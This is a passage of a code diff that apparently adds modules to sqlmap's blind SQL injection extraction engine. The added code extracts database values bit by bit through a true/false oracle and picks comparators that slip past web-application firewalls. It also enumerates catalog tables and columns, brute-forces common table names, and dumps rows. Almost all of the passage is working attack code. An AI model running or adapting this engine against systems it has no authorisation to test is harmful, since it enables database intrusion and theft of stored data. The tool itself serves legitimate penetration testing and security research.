if not self._ask("%s=233" % code(0x00E9)): # U+00E9 round-trips (code(charfrom(0xE9))==0xE9)
|
||||
return "unknown"
|
||||
if not self._ask("%s=8364" % code(0x20AC)): # U+20AC does NOT (single-byte codepage can't represent it)
|
||||
return "codepage" # single-byte codepage only
|
||||
# a supplementary char proves full codepoint vs a UTF-16 code-unit fn
|
||||
# (SQL Server UNICODE() returns the leading surrogate for U+1F642).
|
||||
if self._ask("%s=128578" % code(0x1F642)):
|
||||
return "codepoint"
|
||||
if self._ask("%s=55357" % code(0x1F642)): # high surrogate
|
||||
return "utf16_unit"
|
||||
return "bmp_codepoint" # verified on BMP only
|
||||
except OracleUndecided:
|
||||
return "unknown"
|
||||
|
||||
def _discoverCharfrom(self):
|
||||
for name, tmpl in _CHARFROM:
|
||||
if self._ask("%s='a'" % tmpl.format(code=97)) and \
|
||||
not self._ask("%s='b'" % tmpl.format(code=97)):
|
||||
self.dialect.charfrom = Cap(name, tmpl)
|
||||
return name
|
||||
self.dialect.charfrom = None
|
||||
|
||||
def _discoverCharset(self):
|
||||
# ASK THE DB ITS DECLARED CHARSET - the strongest possible encoding signal, and one a
|
||||
# boolean oracle can read directly (a huge advantage over passive byte-guessing, which
|
||||
# can't tell utf-8 e-acute from cp1252 mojibake). The first family probe that resolves gives a
|
||||
# name; map it (quirk-aware: MySQL latin1==cp1252) to a Python codec used as the
|
||||
# authoritative hex decoder. Unproven -> None -> non-ASCII text stays non-exact.
|
||||
with self._probePhase(): # a wrong-family charset expr errors -> skip
|
||||
for expr in _CHARSET_PROBES:
|
||||
try:
|
||||
if not self._hasChars(expr):
|
||||
continue
|
||||
res = self.extractResult(expr, limit=64)
|
||||
except OracleUndecided:
|
||||
continue
|
||||
if res.value and res.exact:
|
||||
codec = _charsetCodec(res.value)
|
||||
if codec:
|
||||
self.dialect.charset = codec
|
||||
self.dialect.notes.append("declared charset %r -> %s" % (res.value, codec))
|
||||
return codec
|
||||
return None
|
||||
|
||||
def _discoverIdentity(self):
|
||||
for kind, candidates in sorted(_IDENTITY.items()):
|
||||
for expr in candidates:
|
||||
# a valid identity expression has non-zero length; invalid -> error -> false
|
||||
if self._hasChars(expr):
|
||||
self.dialect.identity[kind] = expr
|
||||
break
|
||||
|
||||
def _discoverCatalog(self):
|
||||
for table, family, enum in _CATALOGS:
|
||||
if self._exists(table):
|
||||
self.dialect.catalog = table
|
||||
self.dialect.family = family
|
||||
self.dialect.catalogEnum = enum
|
||||
return table
|
||||
@@ -0,0 +1,198 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from .atlas import _FREQ_ORDER
|
||||
from .atlas import _hardWarnings
|
||||
from .atlas import _PRINTABLE_SORTED
|
||||
from .atlas import _REPL
|
||||
from .atlas import _unichr
|
||||
from .records import Dialect
|
||||
from .records import ExtractResult
|
||||
from .records import OracleUndecided
|
||||
from .oracle import _OracleCore
|
||||
from .discovery import _Discovery
|
||||
from .extraction import _Extraction
|
||||
from .enumeration import _Enumeration
|
||||
|
||||
|
||||
class Esperanto(_OracleCore, _Discovery, _Extraction, _Enumeration):
|
||||
"""DBMS-agnostic blind extractor. Behaviour lives in four mixins by concern
|
||||
(oracle / discovery / extraction / enumeration); this class only holds
|
||||
construction + the query counter."""
|
||||
|
||||
def __init__(self, oracle, verbose=False, maxlen=4096, retries=1, quorum=1,
|
||||
maxbytes=None, max_queries=None):
|
||||
"""oracle: callable(condition_str) -> bool.
|
||||
quorum>1 turns on majority voting (2*quorum-1 samples) so a noisy or
|
||||
intermittently-erroring oracle can't flip a single probe and corrupt a
|
||||
result; retries re-attempts a raised call before it counts as an error.
|
||||
maxlen caps text characters; maxbytes separately caps byte/hex recovery
|
||||
(default 4*maxlen); max_queries is an optional hard oracle-call ceiling."""
|
||||
if not callable(oracle):
|
||||
raise TypeError("oracle must be callable")
|
||||
self.oracle = oracle
|
||||
self.verbose = verbose
|
||||
self.maxlen = maxlen
|
||||
self.maxbytes = maxlen * 4 if maxbytes is None else maxbytes
|
||||
self.retries = retries
|
||||
self.quorum = max(1, quorum)
|
||||
self.max_queries = max_queries
|
||||
self.dialect = Dialect()
|
||||
self._queries = 0
|
||||
self._errors = 0
|
||||
self._hexProbed = False
|
||||
self._hexOrdered = None
|
||||
self._backslashEscape = None
|
||||
self._codeTmpl = None
|
||||
self._comparator = "gt" # ordered-compare op: "gt" / "between" / operator-free rung / "membership"
|
||||
self._cmpTemplate = None # operator-free ordered rung: an "expr > n" template with {expr}/{n}
|
||||
self._inOk = True # IN(...) usable (order-free subset bisection)
|
||||
self._lastTruncated = False
|
||||
self._discovered = False
|
||||
self._nonExactNamesNoted = False # one-shot: enumerated-identifier-ambiguity note fired
|
||||
self._castPreserves = None # cached: does the text cast preserve a canary accent?
|
||||
self._probing = False # True while laddering CANDIDATE rungs (discovery or lazy _ensure*): an
|
||||
# undecidable probe there = "rung unusable" -> False; elsewhere (reading
|
||||
# committed data) an undecidable probe stays undecided so it degrades loudly
|
||||
self._progress = None # optional host callback(str) for live per-VALUE feedback
|
||||
self._charProgress = None # optional host callback(partial, total) for live per-CHARACTER
|
||||
# feedback DURING a long extraction (so the user sees it working)
|
||||
|
||||
@property
|
||||
def queryCount(self):
|
||||
return self._queries
|
||||
|
||||
|
||||
def hostExtract(oracle, strategy, expr, maxlen=4096):
|
||||
"""Reference HOST inference loop driven ONLY by an InferenceStrategy + oracle.
|
||||
|
||||
Proof that the strategy is a sufficient hand-off: it reproduces char-by-char
|
||||
extraction with zero dependency on Esperanto's own retrieval code - what sqlmap's
|
||||
`bisection()`/`queryOutputLength()` would do instead. EVERY numeric compare renders
|
||||
through strategy.renderGt (the discovered comparator), so it survives a WAF that
|
||||
strips '>' exactly as the engine does, and length is measured via the length fn OR,
|
||||
when there is none, derived from the substring's end.
|
||||
|
||||
It covers the char-comparison modes (code / collation / ordinal / equality) with an
|
||||
ordered comparator. Pattern-only (LIKE floor) and pure membership (no ordered
|
||||
comparator) are NOT driven by this reference - it raises rather than silently
|
||||
emitting an operator the dialect declared unusable or returning wrong data.
|
||||
|
||||
Returns an ExtractResult (value / exact / truncated / integrity), NOT a bare string:
|
||||
an undecided host observation degrades to a FAILED result (never a manufactured bit),
|
||||
a value longer than maxlen is flagged TRUNCATED, and a code-mode value read through an
|
||||
UNPROVEN char-code fn is whole-value verified so a lossy code fn is caught (integrity
|
||||
FAILED), exactly as the native engine does - so this stays a faithful sufficiency proof."""
|
||||
HUGE = 1 << 62
|
||||
|
||||
def ask(cond):
|
||||
# STRICT tri-state, like _OracleCore._ask: only a real bool is an observation; anything
|
||||
# else (None from a transport/undecided oracle) is NOT coerced to False.
|
||||
r = oracle(cond)
|
||||
if r is True or r is False:
|
||||
return r
|
||||
raise OracleUndecided("host oracle undecided: %s" % cond)
|
||||
|
||||
if strategy.compare_mode == "like" or (strategy.substring is None and strategy.length is None):
|
||||
raise NotImplementedError("hostExtract: pattern-only extraction is not driven by this reference")
|
||||
if strategy.comparator == "membership":
|
||||
raise NotImplementedError("hostExtract: an ordered comparator is required (membership-only unsupported)")
|
||||
|
||||
def _run():
|
||||
if strategy.length is not None:
|
||||
L = strategy.renderLength(expr)
|
||||
if not ask(strategy.renderGt(L, -1, HUGE)): # L >= 0: defined and non-negative
|
||||
is_null = ask(strategy.renderIsNull(expr)) # ask ONCE (a noisy oracle could disagree twice)
|
||||
return ExtractResult(None, is_null=is_null, complete=is_null)
|
||||
if maxlen <= 0: # non-empty but capped to nothing
|
||||
return ExtractResult("", complete=False, truncated=True)
|
||||
if not ask(strategy.renderGt(L, 0, HUGE)): # not L > 0 -> empty string
|
||||
return ExtractResult("", complete=True)
|
||||
lo, hi = 1, min(8, maxlen)
|
||||
while hi < maxlen and ask(strategy.renderGt(L, hi, HUGE)):
|
||||
lo, hi = hi + 1, min(hi * 2, maxlen)
|
||||
while lo < hi:
|
||||
mid = (lo + hi) // 2
|
||||
lo, hi = (mid + 1, hi) if ask(strategy.renderGt(L, mid, HUGE)) else (lo, mid)
|
||||
length = lo
|
||||
truncated = length >= maxlen and ask(strategy.renderGt(L, maxlen, HUGE)) # a char past the cap
|
||||
# FINAL EQUALITY (as the native integer reader does): the comparator is proven only on
|
||||
# literals; a backend that rewrites '>' to '>=' for a computed operand (LENGTH(..)>n)
|
||||
# converges off-by-one. Confirm the length directly, else fail closed.
|
||||
if not truncated and not ask("(%s)=%d" % (L, length)):
|
||||
raise OracleUndecided("host length failed final equality")
|
||||
else: # no length fn: derive from substring end
|
||||
exists = lambda n: ask(strategy.renderCharExists(expr, n))
|
||||
if not exists(1):
|
||||
is_null = ask(strategy.renderIsNull(expr)) # ask ONCE
|
||||
return ExtractResult(None, is_null=is_null, complete=is_null)
|
||||
if maxlen <= 0: # non-empty but capped to nothing
|
||||
return ExtractResult("", complete=False, truncated=True)
|
||||
lo, hi = 1, min(8, maxlen)
|
||||
while hi < maxlen and exists(hi):
|
||||
lo, hi = hi, min(hi * 2, maxlen)
|
||||
while lo < hi:
|
||||
mid = (lo + hi + 1) // 2
|
||||
lo, hi = (mid, hi) if exists(mid) else (lo, mid - 1)
|
||||
length = lo
|
||||
truncated = length >= maxlen and exists(maxlen + 1)
|
||||
|
||||
def read(pos):
|
||||
mode = strategy.compare_mode
|
||||
if mode == "code":
|
||||
code = strategy.renderCode(expr, pos)
|
||||
top = 0x10FFFF
|
||||
for cap in (127, 255, 0xFFFF, 0x10FFFF):
|
||||
if not ask(strategy.renderGt(code, cap, HUGE)):
|
||||
top = cap
|
||||
break
|
||||
a, b = 0, top
|
||||
while a < b:
|
||||
m = (a + b) // 2
|
||||
a, b = (m + 1, b) if ask(strategy.renderGt(code, m, HUGE)) else (a, m)
|
||||
# FINAL EQUALITY on the code: comparator semantics are INDEPENDENT of the code
|
||||
# fn's semantics, so a '>'->'>=' rewrite on the code expression converges off-by-
|
||||
# one even when the code fn is codepoint-faithful. Confirm directly, else fail.
|
||||
if not ask("(%s)=%d" % (code, a)):
|
||||
raise OracleUndecided("host code failed final equality")
|
||||
return _unichr(a)
|
||||
if mode in ("collation", "ordinal"):
|
||||
cs = _PRINTABLE_SORTED
|
||||
a, b = 0, len(cs) - 1
|
||||
while a < b:
|
||||
m = (a + b) // 2
|
||||
a, b = (m + 1, b) if ask(strategy.renderCharCmp(expr, pos, cs[m], ">")) else (a, m)
|
||||
return cs[a]
|
||||
for ch in _FREQ_ORDER: # equality scan
|
||||
if ask(strategy.renderCharCmp(expr, pos, ch, "=")):
|
||||
return ch
|
||||
return _REPL
|
||||
|
||||
value = "".join(read(i) for i in range(1, length + 1))
|
||||
warns = ["contains unresolved char"] if _REPL in value else []
|
||||
if strategy.compare_mode == "equality-ci":
|
||||
warns.append("lossy equality collation: case/accents ambiguous")
|
||||
# WHOLE-VALUE verification: mirrors the native verify. Run it regardless of code-point
|
||||
# semantics - the code fn being codepoint-faithful says nothing about the COMPARATOR (a
|
||||
# rewritten '>' still corrupts a codepoint-faithful read), so the value must be confirmed
|
||||
# against the source rather than trusted because the code fn is faithful.
|
||||
needs_verify = not truncated and _REPL not in value
|
||||
if needs_verify and not ask(strategy.renderExactEq(expr, strategy.lit(value))):
|
||||
warns.append("whole-value verification failed")
|
||||
return ExtractResult(value, complete=False, truncated=truncated, warnings=warns)
|
||||
# mirror the native EXACT gate: without a proven byte-exact witness (hex / binary /
|
||||
# codepoint) the value is WHOLE_BUT_AMBIGUOUS, never EXACT - renderExactEq falls back to
|
||||
# collation-dependent plain '=' which cannot certify byte-exactness.
|
||||
if value and not truncated and _REPL not in value and strategy.exact_witness is None:
|
||||
warns.append("byte-exactness unproven: collation-dependent comparison, no hex/binary witness")
|
||||
return ExtractResult(value, complete=not truncated and not _hardWarnings(warns),
|
||||
truncated=truncated, warnings=warns)
|
||||
|
||||
try:
|
||||
return _run()
|
||||
except OracleUndecided:
|
||||
return ExtractResult(None, complete=False, warnings=["host oracle undecided"])
|
||||
@@ -0,0 +1,906 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from .atlas import _BULK_AGG
|
||||
from .atlas import _COLUMN_SPECS
|
||||
from .atlas import _HEX_PAYLOAD_CODES
|
||||
from .atlas import _IDENT_QUOTE
|
||||
from .atlas import _KEY_SPECS
|
||||
from .atlas import _REPL
|
||||
from .atlas import _ROWID
|
||||
from .atlas import _ROWID_LITBOUND
|
||||
from .records import BulkResult
|
||||
from .records import Cap
|
||||
from .records import InferenceStrategy
|
||||
from .records import OracleUndecided
|
||||
from .wordlist import commonColumns
|
||||
from .wordlist import commonTables
|
||||
|
||||
_BRUTE_MAX_TRIES = 500 # cap existence-probes so a slow oracle can't run away
|
||||
_MEMBERSHIP_PAGING_BUDGET = 8192 # max rendered NOT IN() fragment before stopping (partial) - it grows per row
|
||||
# pseudo-columns that COUNT() accepts but that aren't real columns (would poison a dump)
|
||||
_PSEUDO_COLUMNS = frozenset(("rowid", "_rowid_", "oid", "ctid", "rownum", "xmin", "xmax"))
|
||||
|
||||
|
||||
class _Enumeration(object):
|
||||
"""_Enumeration
|
||||
|
||||
catalog walking + data dump: enumerate / columns / dump / bulk + row selection.
|
||||
When the catalog is unreadable/unknown (permission wall, exotic engine, CTF), the
|
||||
table/column listings fall back to brute-forcing common names (bruteTables /
|
||||
bruteColumns) so extraction works with zero schema knowledge."""
|
||||
|
||||
def enumerate(self, kind="table", limit=10, schema=None):
|
||||
"""Bounded enumeration by keyset (MIN(name) WHERE name>'prev') - no dialect
|
||||
row limiter needed, and cost scales with `limit`, not catalog size. `schema`
|
||||
scopes tables to one database. Falls back to brute-forcing common table names
|
||||
when the catalog is unavailable/empty. For a full dump prefer enumerateBulk."""
|
||||
names = None
|
||||
if kind in self.dialect.catalogEnum and self._canPage:
|
||||
names = self.enumerateKeyset(kind, limit, schema)
|
||||
if not names and kind == "table":
|
||||
names = self.bruteTables(limit, schema) # no catalog/paging -> guess the usual names
|
||||
return names
|
||||
|
||||
@property
|
||||
def _canPage(self):
|
||||
# keyset enumeration needs an ordered comparator or IN() (NOT IN paging); with
|
||||
# neither, the catalog walk can't advance past the first row -> use brute-force
|
||||
return self._comparator in ("gt", "between") or self._inOk
|
||||
|
||||
def bruteTables(self, limit=50, schema=None):
|
||||
"""No/unreadable catalog: discover tables by existence-probing common names
|
||||
(COUNT(*) succeeds -> exists; errors -> the oracle reads False). The 'know
|
||||
nothing about the schema' fallback, akin to sqlmap's --common-tables."""
|
||||
self.dialect.notes.append("catalog unavailable - brute-forcing common table names")
|
||||
found, tries = [], 0
|
||||
for name in commonTables():
|
||||
if len(found) >= limit or tries >= _BRUTE_MAX_TRIES:
|
||||
break
|
||||
tries += 1
|
||||
qname = self.quoteIdent(name)
|
||||
if schema is not None:
|
||||
qname = "%s.%s" % (self.quoteIdent(schema), qname)
|
||||
try:
|
||||
if self._exists(qname):
|
||||
found.append(name)
|
||||
self._emit(name)
|
||||
except OracleUndecided:
|
||||
break # oracle wall - stop, keep what we have
|
||||
return found
|
||||
|
||||
def bruteColumns(self, table, schema=None, limit=100):
|
||||
"""No/unreadable column catalog: discover columns of `table` by existence-
|
||||
probing common names (COUNT(col) succeeds -> the column exists)."""
|
||||
qtable = self.quoteIdent(table)
|
||||
if schema is not None:
|
||||
qtable = "%s.%s" % (self.quoteIdent(schema), qtable)
|
||||
found, tries = [], 0
|
||||
for col in commonColumns():
|
||||
if len(found) >= limit or tries >= _BRUTE_MAX_TRIES:
|
||||
break
|
||||
if col.lower() in _PSEUDO_COLUMNS: # rowid/ctid/oid... are queryable but not real columns
|
||||
continue
|
||||
tries += 1
|
||||
try:
|
||||
# probe the column BARE but ALIAS-QUALIFIED (`e.col`): a nonexistent bare
|
||||
# column errors (a double-quoted unknown is a STRING LITERAL on SQLite -> would
|
||||
# pass every fake name), and the alias stops a candidate that is really a
|
||||
# KEYWORD/FUNCTION (e.g. `user` -> USER) from resolving. COUNT-free (WAF-safe).
|
||||
if self._exists(qtable, col, alias="e"):
|
||||
found.append(col)
|
||||
self._emit(col)
|
||||
except OracleUndecided:
|
||||
break
|
||||
if found:
|
||||
self.dialect.notes.append("column catalog unavailable - brute-forced %d common column names" % len(found))
|
||||
return found
|
||||
|
||||
def _source(self, kind, schema=None):
|
||||
col, src, filt = self.dialect.catalogEnum[kind]
|
||||
clauses = [filt] if filt else []
|
||||
if schema is not None and "schema" in self.dialect.catalogEnum:
|
||||
scol, ssrc = self.dialect.catalogEnum["schema"][0], self.dialect.catalogEnum["schema"][1]
|
||||
# the scope column is only valid IN ITS OWN source. ANSI/PG/Oracle co-locate
|
||||
# table+schema in one catalog view; MSSQL splits them (sys.tables vs sys.schemas)
|
||||
# so `name=<schema>` on sys.tables would match table NAMES - skip it, don't corrupt.
|
||||
if ssrc == src:
|
||||
clauses.append("%s=%s" % (scol, self.buildLiteral(schema)))
|
||||
return col, src, ((" WHERE " + " AND ".join(clauses)) if clauses else "")
|
||||
|
||||
def enumerateKeyset(self, kind, limit=10, schema=None):
|
||||
if kind not in self.dialect.catalogEnum:
|
||||
return None
|
||||
col, src, where = self._source(kind, schema)
|
||||
return self._keysetWalk(col, src, where, limit)
|
||||
|
||||
def _keysetWalk(self, col, src, where, limit):
|
||||
# page by keyset: MIN(name) then MIN(name) WHERE name > prev. no dialect row
|
||||
# limiter needed. the FIRST query is unbounded (a space/'' seed would skip
|
||||
# identifiers sorting below it). the DB does the ordering in its own
|
||||
# collation; Python only tests EXACT repetition (collation-invariant) - never
|
||||
# a Python `<=` ordering test.
|
||||
conj = " AND " if where else " WHERE "
|
||||
names, prev = [], None
|
||||
while len(names) < limit:
|
||||
if prev is None:
|
||||
expr = "(SELECT MIN(%s) FROM %s%s)" % (col, src, where)
|
||||
else:
|
||||
beyond = self._beyondSql(col, prev, "text", seen=names)
|
||||
if beyond is None: # no ordered comparator, no IN -> can't page
|
||||
self.dialect.notes.append("enumeration stopped: no way to page (no ordered comparator, no IN)")
|
||||
break
|
||||
expr = "(SELECT MIN(%s) FROM %s%s%s%s)" % (col, src, where, conj, beyond)
|
||||
# a best-effort walk must DEGRADE, not crash: an undecided/over-budget
|
||||
# probe (permission or charset wall) stops the listing with what we have
|
||||
try:
|
||||
if not self._ask("%s IS NOT NULL" % expr):
|
||||
break
|
||||
res = self.extractResult(expr) # complete-or-stop: a partial name is a bad keyset bound
|
||||
except OracleUndecided:
|
||||
self.dialect.notes.append("enumeration stopped early (oracle undecided - permission/charset wall)")
|
||||
break
|
||||
if not res.complete: # incomplete (truncated / unresolved / unverified) name is
|
||||
self.dialect.notes.append("enumeration stopped: incomplete identifier read (unsafe keyset bound)")
|
||||
break # an unsafe keyset bound - a soft case/accent warning still passes
|
||||
name = res.value
|
||||
if not name:
|
||||
break
|
||||
if name in names:
|
||||
# revisiting an already-listed name (not just the immediate predecessor) means the
|
||||
# paging bound and the recovered spelling disagree - e.g. the keyset compare and
|
||||
# the char read resolve under DIFFERENT collations, so the walk cycles f,e,f,e...
|
||||
# Stop with a PARTIAL, de-duplicated list rather than loop or emit duplicates.
|
||||
self.dialect.notes.append("enumeration stopped: identifier %r revisited "
|
||||
"(paging/read-back collation mismatch) - list may be partial" % name)
|
||||
break
|
||||
if not res.exact and not self._nonExactNamesNoted:
|
||||
# the name paged correctly (the walk uses the engine's OWN collation, so a
|
||||
# case/accent-ambiguous bound is self-consistent) but its exact spelling is NOT
|
||||
# proven - flag it, since a caller may reuse the name as an exact SQL identifier.
|
||||
self._nonExactNamesNoted = True
|
||||
self.dialect.notes.append("enumerated identifiers are case/accent-approximate "
|
||||
"(no byte-exact primitive) - exact spelling not proven")
|
||||
names.append(name)
|
||||
self._emit(name) # live feedback per discovered name
|
||||
if _REPL in name:
|
||||
# an unrecoverable char in the name can't form a reliable keyset bound;
|
||||
# stop rather than loop on a corrupt (or repeating) boundary
|
||||
self.dialect.notes.append("enumeration stopped: %r holds an unrecoverable character" % name)
|
||||
break
|
||||
prev = name
|
||||
return names
|
||||
|
||||
def _beyondSql(self, expr, prev, unit, seen=None, boundfn=None):
|
||||
# SQL fragment picking the next un-taken row for keyset paging, honoring the
|
||||
# discovered comparator so paging survives a blocked '>'. '>' pages by "sorts
|
||||
# after prev"; a blocked '>' keeps numeric keys ordered via BETWEEN, and pages
|
||||
# text keys order-free by "key NOT IN (already-seen)" (needs only IN, and dodges
|
||||
# any collation/sentinel guesswork). Returns None when none of these is possible
|
||||
# - the caller then stops with the rows it already has.
|
||||
lit = boundfn or self.buildLiteral # rowids may need a quoted literal (see _ROWID_LITBOUND)
|
||||
if self._comparator == "gt":
|
||||
bound = prev if unit == "int" else lit(prev)
|
||||
return "%s>%s" % (expr, bound)
|
||||
if self._comparator == "between" and unit == "int":
|
||||
return "%s BETWEEN %s+1 AND 9223372036854775807" % (expr, prev)
|
||||
if self._cmpTemplate is not None and unit == "int": # operator-free ordered rung
|
||||
return self._cmpTemplate.format(expr=expr, n=prev) # "expr > prev" without '>'
|
||||
if self._inOk and seen:
|
||||
lits = ",".join((str(k) if unit == "int" else lit(k)) for k in seen)
|
||||
frag = "%s NOT IN (%s)" % (expr, lits)
|
||||
# NOT IN(all-seen) grows every row (quadratic payload / WAF surface). Beyond a
|
||||
# rendered-size budget, stop with a PARTIAL result + note rather than emitting an
|
||||
# ever-larger request (and never let one un-renderable literal poison the walk).
|
||||
if len(frag) > _MEMBERSHIP_PAGING_BUDGET:
|
||||
self.dialect.notes.append("membership paging stopped: NOT IN() payload budget exceeded (partial)")
|
||||
return None
|
||||
return frag
|
||||
return None
|
||||
|
||||
def hasTable(self, table, schema=None):
|
||||
"""Does `table` (optionally in `schema`) resolve? COUNT-free existence."""
|
||||
q = self.quoteIdent(table)
|
||||
if schema:
|
||||
q = "%s.%s" % (self.quoteIdent(schema), q)
|
||||
try:
|
||||
return self._exists(q)
|
||||
except OracleUndecided:
|
||||
return False
|
||||
|
||||
def tableSchema(self, table):
|
||||
"""Resolve which schema a table actually lives in, from the catalog. PG-family
|
||||
tables are commonly in 'public' while current_schema() is the login user's own
|
||||
(empty) schema, so scoping to the current schema misses them. Returns the schema
|
||||
name, or None if the catalog has no schema concept or the table isn't found."""
|
||||
ce = self.dialect.catalogEnum
|
||||
if "schema" not in ce or "table" not in ce:
|
||||
return None
|
||||
schemacol = ce["schema"][0]
|
||||
namecol, source = ce["table"][0], ce["table"][1]
|
||||
if ce["schema"][1] != source: # schema lives in a SEPARATE catalog view (MSSQL
|
||||
return None # sys.schemas) - can't co-query it against sys.tables
|
||||
# prefer a non-system schema (a system table could share the name)
|
||||
excl = ("pg_catalog", "information_schema", "sys", "mysql", "performance_schema",
|
||||
"SYS", "INFORMATION_SCHEMA", "pg_toast")
|
||||
notsys = " AND %s NOT IN (%s)" % (schemacol, ",".join(self.buildLiteral(s) for s in excl))
|
||||
for tail in (notsys, ""):
|
||||
expr = "(SELECT MIN(%s) FROM %s WHERE %s=%s%s)" % (schemacol, source, namecol, self.buildLiteral(table), tail)
|
||||
try:
|
||||
if self._ask("%s IS NOT NULL" % expr):
|
||||
res = self.extractResult(expr) # a SCHEMA NAME becomes a qualifier -> require EXACT
|
||||
if res.exact and res.value:
|
||||
return res.value
|
||||
except OracleUndecided:
|
||||
break
|
||||
return None
|
||||
|
||||
def quoteIdent(self, name):
|
||||
"""Quote a target-supplied identifier (table/column) so reserved words,
|
||||
spaces, dots, or embedded quote chars are referenced safely. A name is an
|
||||
IDENTIFIER, never a raw SQL fragment. Falls back to the bare name if no
|
||||
quoting style was discovered."""
|
||||
q = self.dialect.identQuote
|
||||
if not q:
|
||||
return name
|
||||
return "%s%s%s" % (q[0], name.replace(q[1], q[1] * 2), q[1])
|
||||
|
||||
def qualify(self, table, schema=None):
|
||||
"""The quoted, optionally schema-scoped table reference used for a dump - the SAME
|
||||
expression for count, key discovery, and row retrieval, so a non-default schema can't
|
||||
make the count query hit a different (unqualified) table than the dump."""
|
||||
qt = self.quoteIdent(table)
|
||||
return "%s.%s" % (self.quoteIdent(schema), qt) if schema is not None else qt
|
||||
|
||||
def _ensureQuoting(self, table):
|
||||
# discover the identifier-quote style using the (known-present) table:
|
||||
# the wrong quote char makes SELECT ... FROM <quoted> error -> reject
|
||||
if self.dialect.identQuote is not None or self.dialect.identQuote is False:
|
||||
return self.dialect.identQuote or None
|
||||
with self._probePhase(): # a wrong quote char makes FROM <quoted> error -> "unusable", not undecided
|
||||
for open_q, close_q in _IDENT_QUOTE:
|
||||
quoted = "%s%s%s" % (open_q, table.replace(close_q, close_q * 2), close_q)
|
||||
if self._exists(quoted):
|
||||
self.dialect.identQuote = (open_q, close_q)
|
||||
return self.dialect.identQuote
|
||||
self.dialect.identQuote = False # sentinel: probed, none worked
|
||||
return None
|
||||
|
||||
def columns(self, table, schema=None, limit=50):
|
||||
"""Enumerate a table's column names (keyset), optionally scoped to `schema`
|
||||
(so identically-named tables in different schemas don't merge columns). Falls
|
||||
back to brute-forcing common column names when no column catalog is usable."""
|
||||
names = None
|
||||
spec = _COLUMN_SPECS.get(self.dialect.catalog)
|
||||
if spec and self._canPage:
|
||||
col, source, wheretmpl = spec[0], spec[1], spec[2]
|
||||
ordcol = spec[3] if len(spec) > 3 else None # catalog's ordinal-position column
|
||||
schemacol = spec[4] if len(spec) > 4 else None # the column source's OWN schema column
|
||||
lit = self.buildLiteral(table)
|
||||
filt = (wheretmpl % lit) if wheretmpl else ""
|
||||
if schema is not None and schemacol: # explicit (e.g. Oracle OWNER, not table_schema)
|
||||
filt += " AND %s=%s" % (schemacol, self.buildLiteral(schema))
|
||||
elif schema is not None and "table_name" in (wheretmpl or ""): # ANSI-shaped filter
|
||||
filt += " AND table_schema=%s" % self.buildLiteral(schema)
|
||||
elif schema is not None and "TABLE_NAME" in (wheretmpl or ""):
|
||||
filt += " AND TABLE_SCHEMA=%s" % self.buildLiteral(schema)
|
||||
where = (" WHERE %s" % filt) if filt else ""
|
||||
# pragma_table_info(%s) takes the table in the source itself
|
||||
source = source % lit if "%s" in source else source
|
||||
names = self._keysetWalk(col, source, where, limit)
|
||||
if names and ordcol:
|
||||
names = self._orderByOrdinal(names, col, source, filt, ordcol)
|
||||
if not names:
|
||||
names = self.bruteColumns(table, schema, limit) # no catalog -> guess the usual names
|
||||
return names
|
||||
|
||||
def _orderByOrdinal(self, names, namecol, source, filt, ordcol):
|
||||
# reorder the enumerated columns by their catalog ordinal so a dump matches the
|
||||
# table's DEFINITION order, not the alphabetical MIN()-keyset order (+1 read per
|
||||
# column). Degrades gracefully: a missing/wrong ordinal sorts last, never crashes.
|
||||
keyed = []
|
||||
for n in names:
|
||||
cond = "%s=%s" % (namecol, self.buildLiteral(n))
|
||||
if filt:
|
||||
cond = "%s AND %s" % (filt, cond)
|
||||
try:
|
||||
o = self.extractInteger("(SELECT MIN(%s) FROM %s WHERE %s)" % (ordcol, source, cond))
|
||||
except (OracleUndecided, OverflowError):
|
||||
o = None
|
||||
keyed.append((o if o is not None else 1 << 30, n))
|
||||
return [n for _, n in sorted(keyed, key=lambda t: (t[0], t[1]))]
|
||||
|
||||
def _discoverKey(self, table, schema=None):
|
||||
# a primary/unique key column, preferred over a physical rowid. keyset needs
|
||||
# MIN() over it and a `> prev` bound, both of which a key column supports.
|
||||
spec = _KEY_SPECS.get(self.dialect.catalog)
|
||||
if not spec:
|
||||
return None
|
||||
source, tcol, ncol, extra = spec
|
||||
filt = "%s=%s" % (tcol, self.buildLiteral(table))
|
||||
if schema is not None:
|
||||
filt += " AND table_schema=%s" % self.buildLiteral(schema)
|
||||
if extra:
|
||||
filt += " AND %s" % extra
|
||||
# take the alphabetically-first key column (deterministic); a compound key
|
||||
# still yields a usable ordering column for the walk
|
||||
keyexpr = "(SELECT MIN(%s) FROM %s WHERE %s)" % (ncol, source, filt)
|
||||
# discovering the key COLUMN NAME is setup, not data - run it inside the probe phase so a
|
||||
# catalog lacking this key structure degrades to "no key" (not fatal) AND so the name does
|
||||
# not surface on the live "retrieved:" feed (it is a column name, not a dumped entry).
|
||||
with self._probePhase():
|
||||
if self._ask("%s IS NOT NULL" % keyexpr):
|
||||
res = self.extractResult(keyexpr) # a key COLUMN NAME becomes SQL -> require an EXACT value
|
||||
if res.exact and res.value: # (a case-ambiguous name could mis-target)
|
||||
return res.value
|
||||
return None
|
||||
|
||||
def columnType(self, expr):
|
||||
"""Coarse type hint: 'numeric' vs 'text'. RELIABLE ONLY ON STRICTLY-TYPED
|
||||
engines (PostgreSQL/Oracle/SQL Server/DB2), where SUM() over a text column
|
||||
errors. Dynamically-typed engines (SQLite, MySQL non-strict) coerce text->0
|
||||
so SUM succeeds - there the hint is unreliable and returns 'unknown' when it
|
||||
can't tell. Not a substitute for reading the catalog's declared type."""
|
||||
sums = self._ask("(SELECT SUM(%s) FROM (SELECT %s) t) IS NOT NULL" % (expr, expr))
|
||||
if not sums:
|
||||
return "text" # SUM errored -> definitely not numeric
|
||||
# SUM worked: real numeric, OR a coercing dynamic engine. disambiguate with a
|
||||
# cheap non-digit check on the first char (via the discovered substring)
|
||||
try:
|
||||
one = self._sub(self._resolveText(expr), 1, 1)
|
||||
if self._ask("%s>='0' AND %s<='9'" % (one, one)) or self._ask("%s='-'" % one):
|
||||
return "numeric"
|
||||
except Exception:
|
||||
pass
|
||||
return "unknown"
|
||||
|
||||
def _classifyUnit(self, keyexpr, qtable):
|
||||
# a key/rowid reads as int (fast extractInteger + numeric bound) or opaque text
|
||||
